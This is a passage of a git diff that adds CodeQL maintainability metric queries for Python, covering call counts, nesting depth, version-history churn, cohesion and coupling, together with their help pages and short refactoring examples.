    • +If the function is taking on too many responsibilities, a new layer of functions +can be introduced below the top-level function, each of which can do some of the +original work. The top-level function then only needs to delegate to a much +smaller number of functions, which themselves delegate to the functions lower down. +
    • + +
    • +If the function spends all of its time delegating, some of the work that is done by the +subsidiary functions can be moved into the top-level function, and the subsidiary +functions can be removed. This is the refactoring called 'Inline +Method' in [Fowler]. +
    • +
    + + + +
    + + + +
  • +M. Fowler, Refactoring. Addison-Wesley, 1999. +
  • +
  • +Wikipedia: The Single Responsibility Principle. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/FunctionNumberOfCalls.ql b/python/ql/src/Metrics/FunctionNumberOfCalls.ql new file mode 100644 index 00000000000..0dd5050214a --- /dev/null +++ b/python/ql/src/Metrics/FunctionNumberOfCalls.ql @@ -0,0 +1,16 @@ +/** + * @name Number of calls + * @description The total number of calls in a function. + * @kind treemap + * @id py/number-of-calls-per-function + * @treemap.warnOn highValues + * @metricType callable + * @metricAggregate avg max + */ + +import python + + +from FunctionMetrics func +select func, func.getNumberOfCalls() as n +order by n desc diff --git a/python/ql/src/Metrics/FunctionStatementNestingDepth.py b/python/ql/src/Metrics/FunctionStatementNestingDepth.py new file mode 100644 index 00000000000..a66e8621297 --- /dev/null +++ b/python/ql/src/Metrics/FunctionStatementNestingDepth.py @@ -0,0 +1,6 @@ +def print_character_codes_bad(strings): + if strings is not None: + for s in strings: + if s is not None: + for c in s: + print(c + '=' + ord(c)) \ No newline at end of file diff --git a/python/ql/src/Metrics/FunctionStatementNestingDepth.qhelp b/python/ql/src/Metrics/FunctionStatementNestingDepth.qhelp new file mode 100644 index 00000000000..3017a6fa018 --- /dev/null +++ b/python/ql/src/Metrics/FunctionStatementNestingDepth.qhelp @@ -0,0 +1,78 @@ + + + +

    +A method that contains a high level of nesting can be very difficult to understand. As noted in +[McConnell], the human brain cannot easily handle more than three levels of nested if +statements.

    + +
    + + +

    +Extract the control flow into a separate generator and use that to control iteration.

    + +

    +Use early exits to move nested statements out of conditions. For example: + +def func(x): + if x: + long_complex_block() + +can be replaced by + +def func(x): + if x: + return + long_complex_block() + +

    + +

    +Extract nested statements into new functions, for example by using the 'Extract Method' refactoring +from [Fowler].

    + +

    +For more ways to reduce the level of nesting in a method, see [McConnell]. +

    + +

    +Furthermore, a method that has a high level of nesting often indicates that its design can be +improved in other ways, as well as dealing with the nesting problem itself. +

    + +
    + + +

    +In the following example, the code has four levels of nesting and is unnecessarily difficult to read. +

    + + + +

    +In the following modified example, three different approaches to reducing the nesting depth are shown. +The first, print_character_codes_early_exit, uses early exits, either return +or continue. +The second, print_character_codes_use_gen, extracts the control flow into a generator. +The third, print_character_codes_extracted, uses a separate function for the inner loop. +

    + + + +
    + + + +
  • +M. Fowler, Refactoring, pp. 89-95. Addison-Wesley, 1999. +
  • +
  • +S. McConnell, Code Complete, 2nd Edition, §19.4. Microsoft Press, 2004. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/FunctionStatementNestingDepth.ql b/python/ql/src/Metrics/FunctionStatementNestingDepth.ql new file mode 100644 index 00000000000..64a72fbd34d --- /dev/null +++ b/python/ql/src/Metrics/FunctionStatementNestingDepth.ql @@ -0,0 +1,18 @@ +/** + * @name Statement nesting depth + * @description The maximum nesting depth of statements in a function. + * @kind treemap + * @id py/statement-nesting-depth-per-function + * @treemap.warnOn highValues + * @metricType callable + * @metricAggregate avg max + * @tags maintainability + * complexity + */ + +import python + + +from FunctionMetrics func +select func, func.getStatementNestingDepth() as n +order by n desc diff --git a/python/ql/src/Metrics/FunctionStatementNestingDepthGood.py b/python/ql/src/Metrics/FunctionStatementNestingDepthGood.py new file mode 100644 index 00000000000..1f6a651343c --- /dev/null +++ b/python/ql/src/Metrics/FunctionStatementNestingDepthGood.py @@ -0,0 +1,36 @@ + +# Flatten nesting by using early exits +def print_character_codes_early_exit(strings): + if strings is None: + return + for s in strings: + if s is None: + continue + for c in s: + print(c + '=' + ord(c)) + + +#Move flow control into its own generator function +def print_character_codes_use_gen(strings): + for c in gen_chars_in_strings(strings): + print(c + '=' + ord(c)) + +def gen_chars_in_strings(strings): + if strings is None: + return + for s in strings: + if s is None: + continue + for c in s: + yield c + +#Move inner loop into its own function +def print_character_codes_in_string(string): + if string is not None: + for c in string: + print(c + '=' + ord(c)) + +def print_character_codes_extracted(strings): + if strings is not None: + for s in strings: + print_character_codes_in_string(s) \ No newline at end of file diff --git a/python/ql/src/Metrics/History/HChurn.qhelp b/python/ql/src/Metrics/History/HChurn.qhelp new file mode 100644 index 00000000000..2d248a0ac18 --- /dev/null +++ b/python/ql/src/Metrics/History/HChurn.qhelp @@ -0,0 +1,42 @@ + + + +

    +This metric measures the number of lines of text that have been added, deleted +or modified in files below this location in the tree. +

    + +

    +Code churn is known to be a good (if not the best) predictor of defects in a +code component (see e.g. [Nagappan] or [Khoshgoftaar]). The intuition is that +files, packages or projects that have experienced a disproportionately high +amount of churn for the amount of code involved may have been harder to write, +and are thus likely to contain more bugs. +

    + +
    + + +

    +It is a fact of life that some code is going to be changed more than the rest, +and little can be done to change this. However, bearing in mind code churn's +effectiveness as a defect predictor, code that has been repeatedly changed +should be subjected to vigorous testing and code review. +

    + +
    + + + +
  • +N. Nagappan et al. Change Bursts as Defect Predictors. In Proceedings of the 21st IEEE International Symposium on Software Reliability Engineering, 2010. +
  • +
  • +T. M. Khoshgoftaar and R. M. Szabo. Improving code churn predictions during the system test and maintenance phases. In ICSM '94, 1994, pp. 58-67. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/History/HChurn.ql b/python/ql/src/Metrics/History/HChurn.ql new file mode 100644 index 00000000000..437fae7460c --- /dev/null +++ b/python/ql/src/Metrics/History/HChurn.ql @@ -0,0 +1,17 @@ +/** + * @name Churned lines per file + * @description Number of churned lines per file, across the revision history in the database. + * @kind treemap + * @id py/historical-churn + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + */ +import python +import external.VCS + +from Module m, int n +where n = sum(Commit entry, int churn | churn = entry.getRecentChurnForFile(m.getFile()) and not artificialChange(entry) | churn) + and exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, n +order by n desc diff --git a/python/ql/src/Metrics/History/HLinesAdded.qhelp b/python/ql/src/Metrics/History/HLinesAdded.qhelp new file mode 100644 index 00000000000..fc812fc8357 --- /dev/null +++ b/python/ql/src/Metrics/History/HLinesAdded.qhelp @@ -0,0 +1,6 @@ + + + + diff --git a/python/ql/src/Metrics/History/HLinesAdded.ql b/python/ql/src/Metrics/History/HLinesAdded.ql new file mode 100644 index 00000000000..9eea8687118 --- /dev/null +++ b/python/ql/src/Metrics/History/HLinesAdded.ql @@ -0,0 +1,17 @@ +/** + * @name Added lines per file + * @description Number of added lines per file, across the revision history in the database. + * @kind treemap + * @id py/historical-lines-added + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + */ +import python +import external.VCS + +from Module m, int n +where n = sum(Commit entry, int churn | churn = entry.getRecentAdditionsForFile(m.getFile()) and not artificialChange(entry) | churn) + and exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, n +order by n desc diff --git a/python/ql/src/Metrics/History/HLinesDeleted.qhelp b/python/ql/src/Metrics/History/HLinesDeleted.qhelp new file mode 100644 index 00000000000..fc812fc8357 --- /dev/null +++ b/python/ql/src/Metrics/History/HLinesDeleted.qhelp @@ -0,0 +1,6 @@ + + + + diff --git a/python/ql/src/Metrics/History/HLinesDeleted.ql b/python/ql/src/Metrics/History/HLinesDeleted.ql new file mode 100644 index 00000000000..905d15b524c --- /dev/null +++ b/python/ql/src/Metrics/History/HLinesDeleted.ql @@ -0,0 +1,17 @@ +/** + * @name Deleted lines per file + * @description Number of deleted lines per file, across the revision history in the database. + * @kind treemap + * @id py/historical-lines-deleted + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + */ +import python +import external.VCS + +from Module m, int n +where n = sum(Commit entry, int churn | churn = entry.getRecentDeletionsForFile(m.getFile()) and not artificialChange(entry) | churn) + and exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, n +order by n desc diff --git a/python/ql/src/Metrics/History/HNumberOfAuthors.qhelp b/python/ql/src/Metrics/History/HNumberOfAuthors.qhelp new file mode 100644 index 00000000000..00ec48b744f --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfAuthors.qhelp @@ -0,0 +1,48 @@ + + + +

    +This metric measures the number of different authors (by examining the +version control history) +for files below this location in the tree. (This is a better version +of the metric that counts the number of different authors using Javadoc +tags.) +

    + +

    +Files that have been changed by a large number of different authors are +by definition the product of many minds. New authors working on a file +may be less familiar with the design and implementation of the code than +the original authors, which can be a potential source of bugs. Furthermore, +code that has been worked on by many people, if not carefully maintained, +often ends up lacking conceptual integrity. For both of these reasons, any +code that has been worked on by an unusually high number of different people +merits careful inspection in code reviews. +

    + +
    + + +

    +There is clearly no way to reduce the number of authors that have worked +on a file - it is impossible to rewrite history. However, files highlighted +by this metric should be given special attention in a code review, and may +ultimately be good candidates for refactoring/rewriting by an individual, +experienced developer. +

    + + + +
    + + + +
  • +F. P. Brooks Jr. The Mythical Man-Month, Chapter 4. Addison-Wesley, 1974. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/History/HNumberOfAuthors.ql b/python/ql/src/Metrics/History/HNumberOfAuthors.ql new file mode 100644 index 00000000000..fef769fc705 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfAuthors.ql @@ -0,0 +1,16 @@ +/** + * @name Number of authors + * @description Number of distinct authors for each file + * @kind treemap + * @id py/historical-number-of-authors + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg min max + */ +import python +import external.VCS + +from Module m +where exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, count(Author author | author.getAnEditedFile() = m.getFile()) + diff --git a/python/ql/src/Metrics/History/HNumberOfCoCommits.qhelp b/python/ql/src/Metrics/History/HNumberOfCoCommits.qhelp new file mode 100644 index 00000000000..6a767d57658 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfCoCommits.qhelp @@ -0,0 +1,51 @@ + + + +

    +This metric measures the average number of co-committed files for the files +below this location in the tree. +

    + +

    +A co-committed file is one that is committed at the same time as a given file. +For instance, if you commit files A, B and C together, then B and C would be +the co-committed files of A for that commit. The value of the metric for an +individual file is the average number of such co-committed files over all +commits. The value of the metric for a directory is the aggregation of these +averages - for instance, if we are using max as our aggregation +function, the value would be the maximum of the average number of co-commits +over all files in the directory. +

    + +

    +An unusually high value for this metric may indicate that the file in question +is too tightly-coupled to other files, and it is difficult to change it in +isolation. Alternatively, it may just be an indication that you commit lots of +unrelated changes at the same time. +

    + +
    + + +

    +Examine the file in question to see what the problem is. +

    + +
      +
    • +If the file is too tightly coupled, it will have high values for its afferent +and/or efferent coupling metrics, and you should apply the advice given there. +
    • + +
    • +If the file is not tightly coupled, but you find that you are committing lots +of unrelated changes at the same time, then you may want to revisit your commit +practices. +
    • +
    + + +
    +
    diff --git a/python/ql/src/Metrics/History/HNumberOfCoCommits.ql b/python/ql/src/Metrics/History/HNumberOfCoCommits.ql new file mode 100644 index 00000000000..81dbe8ba2da --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfCoCommits.ql @@ -0,0 +1,20 @@ +/** + * @name Number of co-committed files + * @description The average number of other files that are touched whenever a file is affected by a commit + * @kind treemap + * @id py/historical-number-of-co-commits + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg min max + */ +import python +import external.VCS + +int committedFiles(Commit commit) { + result = count(commit.getAnAffectedFile()) +} + +from Module m +where exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, avg(Commit commit, int toAvg | (commit.getAnAffectedFile() = m.getFile()) and (toAvg = committedFiles(commit)-1) | toAvg) + diff --git a/python/ql/src/Metrics/History/HNumberOfCommits.qhelp b/python/ql/src/Metrics/History/HNumberOfCommits.qhelp new file mode 100644 index 00000000000..e54825e484d --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfCommits.qhelp @@ -0,0 +1,15 @@ + + + +

    +This metric measures the total number of commits made to files +below this location in the tree. For an individual file, it measures the +number of commits that have affected that file. For a directory of files, it +measures the total number of commits affecting files below that +directory. +

    + +
    +
    diff --git a/python/ql/src/Metrics/History/HNumberOfCommits.ql b/python/ql/src/Metrics/History/HNumberOfCommits.ql new file mode 100644 index 00000000000..deca31e1444 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfCommits.ql @@ -0,0 +1,15 @@ +/** + * @name Number of commits + * @description Number of commits + * @kind treemap + * @id py/historical-number-of-commits + * @treemap.warnOn highValues + * @metricType commit + * @metricAggregate sum + */ +import python +import external.VCS + +from Commit c +where not artificialChange(c) +select c.getRevisionName(), 1 diff --git a/python/ql/src/Metrics/History/HNumberOfReCommits.qhelp b/python/ql/src/Metrics/History/HNumberOfReCommits.qhelp new file mode 100644 index 00000000000..37edc9aecf1 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfReCommits.qhelp @@ -0,0 +1,53 @@ + + + +

    +This metric measures the number of file re-commits that have occurred below +this location in the tree. A re-commit is taken to mean a commit to a file +that was touched less than five days ago. +

    + +

    +In a system that is being developed using a controlled change process (where +changes are not committed until they are in some sense 'complete'), re-commits +can be (but are not always) an indication that an initial change was not +successful and had to be revisited within a short time period. The intuition +is that the original change may have been difficult to get right, and hence +the code in the file may be more than usually defect-prone. The concept is +somewhat similar to that of 'change bursts', as described in [Nagappan]. +

    + +
    + + +

    +High numbers of re-commits can be addressed on two levels: preventative and +corrective. +

    + +
      +
    • +On the preventative side, a high number of re-commits may be an indication +that your code review process needs an overhaul. +
    • + +
    • +On the corrective side, code that has experienced a high number of re-commits +should be vigorously code reviewed and tested. +
    • +
    + + +
    + + + +
  • +N. Nagappan et al. Change Bursts as Defect Predictors. In Proceedings of the 21st IEEE International Symposium on Software Reliability Engineering, 2010. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/History/HNumberOfReCommits.ql b/python/ql/src/Metrics/History/HNumberOfReCommits.ql new file mode 100644 index 00000000000..f5831944aed --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfReCommits.ql @@ -0,0 +1,29 @@ +/** + * @name Number of re-commits for each file + * @description A re-commit is taken to mean a commit to a file that was touched less than five days ago. + * @kind treemap + * @id py/historical-number-of-re-commits + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg min max + */ +import python +import external.VCS + +predicate inRange(Commit first, Commit second) { + first.getAnAffectedFile() = second.getAnAffectedFile() and + first != second and + exists(int n | n = first.getDate().daysTo(second.getDate()) and + n >= 0 and n < 5) +} + +int recommitsForFile(File f) { + result = count(Commit recommit | + f = recommit.getAnAffectedFile() and + exists(Commit prev | inRange(prev, recommit))) +} + +from Module m +where exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, recommitsForFile(m.getFile()) + diff --git a/python/ql/src/Metrics/History/HNumberOfRecentAuthors.ql b/python/ql/src/Metrics/History/HNumberOfRecentAuthors.ql new file mode 100644 index 00000000000..6ea84550f76 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfRecentAuthors.ql @@ -0,0 +1,16 @@ +/** + * @name Number of recent authors + * @description Number of distinct authors that have recently made changes + * @kind treemap + * @id py/historical-number-of-recent-authors + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg min max + */ +import python +import external.VCS + +from Module m +where exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, count(Author author | exists(Commit e | e = author.getACommit() and m.getFile() = e.getAnAffectedFile() and e.daysToNow() <= 180 and not artificialChange(e))) + diff --git a/python/ql/src/Metrics/History/HNumberOfRecentChangedFiles.ql b/python/ql/src/Metrics/History/HNumberOfRecentChangedFiles.ql new file mode 100644 index 00000000000..3f35a9cba77 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfRecentChangedFiles.ql @@ -0,0 +1,17 @@ +/** + * @name Recently changed files + * @description Number of files recently edited + * @kind treemap + * @id py/historical-number-of-recent-changed-files + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg min max + */ +import python +import external.VCS + +from Module m +where exists(Commit e | e.getAnAffectedFile() = m.getFile() and e.daysToNow() <= 180 and not artificialChange(e)) + and exists(m.getMetrics().getNumberOfLinesOfCode()) +select m, 1 + diff --git a/python/ql/src/Metrics/History/HNumberOfRecentCommits.qhelp b/python/ql/src/Metrics/History/HNumberOfRecentCommits.qhelp new file mode 100644 index 00000000000..4860add6342 --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfRecentCommits.qhelp @@ -0,0 +1,63 @@ + + + +

    +This metric measures the number of recent commits to files that have occurred +below this location in the tree. A recent commits is taken to mean a commits +that has occurred in the last 180 days. +

    + +

    +All code that has changed a great deal may be more than usually prone to +defects, but this is particularly true of code that has been changing +dramatically in the recent past, because it has not yet had a chance to be +properly field-tested in order to iron out the bugs. +

    + +
    + + +

    +There is more than one reason why a file may have been changing a lot +recently: +

    + +
      +
    • +The file may be part of a new subsystem that is being written. New code is +always going to change a lot in a short period of time, but it is important +to ensure that it is properly code reviewed and unit tested before integrating +it into a working product. +
    • + +
    • +The file may be being heavily refactored. Large refactorings are sometimes +essential, but they are also quite risky. You should write proper regression +tests before starting on a major refactoring, and check that they still pass +once you're done. +
    • + +
    • +The same bit of code may be being changed repeatedly because it is difficult +to get right. Aside from vigorous code reviewing and testing, it may be a good +idea to rethink the system design - if something is that hard +to get right (and it's not an inherently difficult concept), you might be making life unnecessarily hard for yourself and +risking introducing insidious defects. +
    • +
    + + + +
    + + + +
  • +N. Nagappan et al. Change Bursts as Defect Predictors. In Proceedings of the 21st IEEE International Symposium on Software Reliability Engineering, 2010. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/History/HNumberOfRecentCommits.ql b/python/ql/src/Metrics/History/HNumberOfRecentCommits.ql new file mode 100644 index 00000000000..e9e3b14538f --- /dev/null +++ b/python/ql/src/Metrics/History/HNumberOfRecentCommits.ql @@ -0,0 +1,16 @@ +/** + * @name Recent changes + * @description Number of recent commits + * @kind treemap + * @id py/historical-number-of-recent-commits + * @treemap.warnOn highValues + * @metricType commit + * @metricAggregate sum + */ +import python +import external.VCS + +from Commit c +where c.daysToNow() <= 180 and not artificialChange(c) +select c.getRevisionName(), 1 + diff --git a/python/ql/src/Metrics/Internal/CallableDisplayStrings.ql b/python/ql/src/Metrics/Internal/CallableDisplayStrings.ql new file mode 100644 index 00000000000..47a6f20db3e --- /dev/null +++ b/python/ql/src/Metrics/Internal/CallableDisplayStrings.ql @@ -0,0 +1,10 @@ +/** + * @name Display strings of callables + * @kind display-string + * @id py/function-display-strings + * @metricType callable + */ +import python + +from Function f +select f, "Function " + f.getName() diff --git a/python/ql/src/Metrics/Internal/CallableExtents.ql b/python/ql/src/Metrics/Internal/CallableExtents.ql new file mode 100644 index 00000000000..7e2d0baedfa --- /dev/null +++ b/python/ql/src/Metrics/Internal/CallableExtents.ql @@ -0,0 +1,11 @@ +/** + * @name Extents of callables + * @kind extent + * @id py/function-extents + * @metricType callable + */ +import python +import Extents + +from RangeFunction f +select f.getLocation(), f diff --git a/python/ql/src/Metrics/Internal/CallableSourceLinks.ql b/python/ql/src/Metrics/Internal/CallableSourceLinks.ql new file mode 100644 index 00000000000..41278a18684 --- /dev/null +++ b/python/ql/src/Metrics/Internal/CallableSourceLinks.ql @@ -0,0 +1,10 @@ +/** + * @name Source links of callables + * @kind source-link + * @id py/function-source-links + * @metricType callable + */ +import python + +from Function f +select f, f.getLocation().getFile() diff --git a/python/ql/src/Metrics/Internal/ClassDisplayStrings.ql b/python/ql/src/Metrics/Internal/ClassDisplayStrings.ql new file mode 100644 index 00000000000..612abfebec7 --- /dev/null +++ b/python/ql/src/Metrics/Internal/ClassDisplayStrings.ql @@ -0,0 +1,10 @@ +/** + * @name Display strings of classes + * @kind display-string + * @id py/lgtm/class-display-strings + * @metricType reftype + */ +import python + +from Class c +select c, c.getName() diff --git a/python/ql/src/Metrics/Internal/ClassExtents.ql b/python/ql/src/Metrics/Internal/ClassExtents.ql new file mode 100644 index 00000000000..cc5fd7e9390 --- /dev/null +++ b/python/ql/src/Metrics/Internal/ClassExtents.ql @@ -0,0 +1,11 @@ +/** + * @name Extents of classes + * @kind extent + * @id py/class-extents + * @metricType reftype + */ +import python +import Extents + +from RangeClass c +select c.getLocation(), c diff --git a/python/ql/src/Metrics/Internal/ClassSourceLinks.ql b/python/ql/src/Metrics/Internal/ClassSourceLinks.ql new file mode 100644 index 00000000000..089596a0d40 --- /dev/null +++ b/python/ql/src/Metrics/Internal/ClassSourceLinks.ql @@ -0,0 +1,10 @@ +/** + * @name Source links of classes + * @kind source-link + * @id py/class-source-links + * @metricType reftype + */ +import python + +from Class c +select c, c.getLocation().getFile() diff --git a/python/ql/src/Metrics/Internal/Extents.qll b/python/ql/src/Metrics/Internal/Extents.qll new file mode 100644 index 00000000000..283f1fb7c30 --- /dev/null +++ b/python/ql/src/Metrics/Internal/Extents.qll @@ -0,0 +1,33 @@ +import python + +/* + * When this library is imported, the 'hasLocationInfo' predicate of + * Functions and is overridden to specify their entire range + * instead of just the range of their name. The latter can still be + * obtained by invoking the getLocation() predicate. + * + * The full ranges are required for the purpose of associating an alert + * with an individual Function as opposed to a whole File. + */ + +/** + * A Function whose 'hasLocationInfo' is overridden to specify its entire range + * including the body (if any), as opposed to the location of its name only. + */ +class RangeFunction extends Function { + predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) { + super.getLocation().hasLocationInfo(path, sl, sc, _, _) + and this.getBody().getLastItem().getLocation().hasLocationInfo(path, _, _, el, ec) + } +} + +/** + * A Class whose 'hasLocationInfo' is overridden to specify its entire range + * including the body (if any), as opposed to the location of its name only. + */ +class RangeClass extends Class { + predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) { + super.getLocation().hasLocationInfo(path, sl, sc, _, _) + and this.getBody().getLastItem().getLocation().hasLocationInfo(path, _, _, el, ec) + } +} \ No newline at end of file diff --git a/python/ql/src/Metrics/LackofCohesionInMethodsCK.qhelp b/python/ql/src/Metrics/LackofCohesionInMethodsCK.qhelp new file mode 100644 index 00000000000..83fc3a05dd4 --- /dev/null +++ b/python/ql/src/Metrics/LackofCohesionInMethodsCK.qhelp @@ -0,0 +1,68 @@ + + + +

    +A cohesive class is one in which most methods access the same fields. A class that +lacks cohesion is usually one that has multiple responsibilities. +

    + +

    +Various measures of lack of cohesion have been proposed. The Chidamber and Kemerer +version of lack of cohesion inspects pairs of methods. If there are many pairs that +access the same data, the class is cohesive. If there are many pairs that do not access +any common data, the class is not cohesive. More precisely, if:

    + +
      +
    • n1 is the number of pairs of distinct methods in a class that + do not have at least one commonly-accessed field, and
    • +
    • n2 is the number of pairs of distinct methods in a class that + do have at least one commonly-accessed field,
    • +
    + +

    the lack of cohesion measure (LCOM) can be defined as: +

    + +

    +LCOM = max((n1 - n2) / 2, 0) +

    + +

    +High values of LCOM indicate a significant lack of cohesion. As a rough +indication, an LCOM of 500 or more may give you cause for concern. +

    + +
    + + +

    +Classes generally lack cohesion because they have more responsibilities +than they should (see [Martin]). In general, the solution is to identify each +of the different responsibilities that the class has, and split them +into multiple classes, using the 'Extract Class' refactoring from [Fowler], for +example. +

    + + + +
    + + + +
  • +S. R. Chidamber and C. F. Kemerer, A metrics suite for object-oriented design. IEEE Transactions on Software Engineering, 20(6):476-493, 1994. +
  • +
  • +M. Fowler, Refactoring, pp. 65, 122-5. Addison-Wesley, 1999. +
  • +
  • +Wikipedia: The Single Responsibility Principle. +
  • +
  • +O. de Moor et al, Keynote Address: .QL for Source Code Analysis. Proceedings of the 7th IEEE International Working Conference on Source Code Analysis and Manipulation, 2007. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/LackofCohesionInMethodsCK.ql b/python/ql/src/Metrics/LackofCohesionInMethodsCK.ql new file mode 100644 index 00000000000..c950cd4bac4 --- /dev/null +++ b/python/ql/src/Metrics/LackofCohesionInMethodsCK.ql @@ -0,0 +1,16 @@ +/** + * @name Lack of Cohesion in Methods (CK) + * @description Lack of cohesion in the methods of a class, as defined by Chidamber and Kemerer. + * @kind treemap + * @id py/lack-of-cohesion-chidamber-kemerer + * @treemap.warnOn highValues + * @metricType reftype + * @metricAggregate avg max + */ + +import python + + +from ClassMetrics cls +select cls, cls.getLackOfCohesionCK() as n +order by n desc diff --git a/python/ql/src/Metrics/LackofCohesionInMethodsHM.qhelp b/python/ql/src/Metrics/LackofCohesionInMethodsHM.qhelp new file mode 100644 index 00000000000..e2c492e6747 --- /dev/null +++ b/python/ql/src/Metrics/LackofCohesionInMethodsHM.qhelp @@ -0,0 +1,56 @@ + + + +

    +A cohesive class is one in which most methods access the same fields. A class that +lacks cohesion is usually one that has multiple responsibilities. +

    + +

    +Various measures of lack of cohesion have been proposed. A measure proposed by Hitz and Montazeri +counts the number of strongly connected components, that is disjoint subgraphs, +in the graph of method and attribute dependencies. +This can be thought of as the number of possible classes that a single class could be split into. +

    + +

    +Values of LCOM above 1 indicate a lack of cohesion in that there are several +disjoint subgraphs in a graph of intra-class dependencies. +

    + +
    + + +

    +Classes generally lack cohesion because they have more responsibilities +than they should (see [Martin]). In general, the solution is to identify each +of the different responsibilities that the class has, and split them +into multiple classes, using the 'Extract Class' refactoring from [Fowler], for +example. +

    + + + +
    + + + +
  • + + Measuring coupling and cohesion in object-oriented systems by Martin Hitz, Behzad Montazeri (1995). + Proceedings of International Symposium on Applied Corporate Computing
  • +
  • +M. Fowler, Refactoring, pp. 65, 122-5. Addison-Wesley, 1999. +
  • +
  • +Wikipedia: The Single Responsibility Principle. +
  • +
  • +Wikipedia: Strongly connected component. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/LackofCohesionInMethodsHM.ql b/python/ql/src/Metrics/LackofCohesionInMethodsHM.ql new file mode 100644 index 00000000000..0a315c44ea7 --- /dev/null +++ b/python/ql/src/Metrics/LackofCohesionInMethodsHM.ql @@ -0,0 +1,16 @@ +/** + * @name Lack of Cohesion in a Class (HM) + * @description Lack of cohesion of a class, as defined by Hitz and Montazeri. + * @kind treemap + * @id py/lack-of-cohesion-hitz-montazeri + * @treemap.warnOn highValues + * @metricType reftype + * @metricAggregate avg max + */ + +import python + + +from ClassMetrics cls +select cls, cls.getLackOfCohesionHM() as n +order by n desc diff --git a/python/ql/src/Metrics/ModuleAfferentCoupling.qhelp b/python/ql/src/Metrics/ModuleAfferentCoupling.qhelp new file mode 100644 index 00000000000..2466791bd7e --- /dev/null +++ b/python/ql/src/Metrics/ModuleAfferentCoupling.qhelp @@ -0,0 +1,72 @@ + + + +

    +This metric measures the number of incoming dependencies for each +module, that is the number of other modules that depend on it. +

    + +

    +Modules that are depended upon by many other modules typically require a lot of +effort to change, because changing them will force their dependents to change +as well. This is not necessarily a bad thing -- indeed, most systems will have +some such modules (one example might be an I/O module). However, modules with a high number +of incoming dependencies and a high number of outgoing dependencies are hard to maintain. +A module with both high afferent coupling and high efferent coupling can be problematic +because, on the one hand they are hard to change (high afferent coupling), yet on the other they +have many reasons to change (high efferent coupling). This contradiction yields code that is very +hard to maintain or test. +

    + +

    +Conversely, some modules may only be depended on by very few other modules. Again, +this is not necessarily a problem -- we would expect, for example, that the +top-level modules of a system would meet this criterion. When lower-level +modules have very few incoming dependencies, however, it can be an indication +that a module is not pulling its weight. In extreme cases, modules may even +have an afferent coupling of 0, indicating that they are dead +code. +

    + +
    + + +

    +It is unwise to refactor a module based purely on its high or low number of +incoming dependencies -- a module's afferent coupling value only makes sense +in the context of its role in the system as a whole. However, when combined +with other metrics such as efferent coupling, it is possible to make some +general recommendations: +

    + +
      +
    • +Modules with high numbers of incoming and outgoing dependencies +are prime candidates for refactoring (although this +will not always be easy). The general strategy is to split the module into +smaller modules that each have fewer responsibilities, and refactor the code +that previously used that module accordingly. +
    • + + +
    • +Modules that have an afferent coupling of 0 may be dead code -- +in this situation, they can often be deleted. +
    • +
    + + + +
    + + + +
  • +M. Fowler. Refactoring. Addison-Wesley, 1999. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/ModuleAfferentCoupling.ql b/python/ql/src/Metrics/ModuleAfferentCoupling.ql new file mode 100644 index 00000000000..f8f5e0c4208 --- /dev/null +++ b/python/ql/src/Metrics/ModuleAfferentCoupling.ql @@ -0,0 +1,18 @@ +/** + * @name Incoming module dependencies + * @description The number of modules that depend on a module. + * @kind treemap + * @id py/afferent-coupling-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg max + * @tags maintainability + * modularity + */ + +import python + +from ModuleMetrics m +select m, m.getAfferentCoupling() as n +order by n desc + diff --git a/python/ql/src/Metrics/ModuleEfferentCoupling.qhelp b/python/ql/src/Metrics/ModuleEfferentCoupling.qhelp new file mode 100644 index 00000000000..15cf254efac --- /dev/null +++ b/python/ql/src/Metrics/ModuleEfferentCoupling.qhelp @@ -0,0 +1,40 @@ + + + +

    +Efferent coupling is the number of outgoing dependencies for each module. In other words, it is the +number of other modules on which each module depends. +

    + +

    +A module that depends on many other modules is quite brittle, because if any of +its dependencies change, the module itself may have to change as well. Furthermore, the +reason for the high number of dependencies is often that different parts of +the module depend on different groups of other modules, so it is common to +find that modules with high efferent coupling also lack cohesion. +

    + +
    + + +

    +You can reduce efferent coupling by splitting up a module so that each part depends on fewer modules. +

    + + +
    + + + +
  • +IBM developerWorks: Evolutionary architecture and emergent design: Emergent design through metrics. +
  • +
  • +R. Martin, Agile Software Development: Principles, Patterns and Practices. Pearson, 2011. +
  • + + +
    +
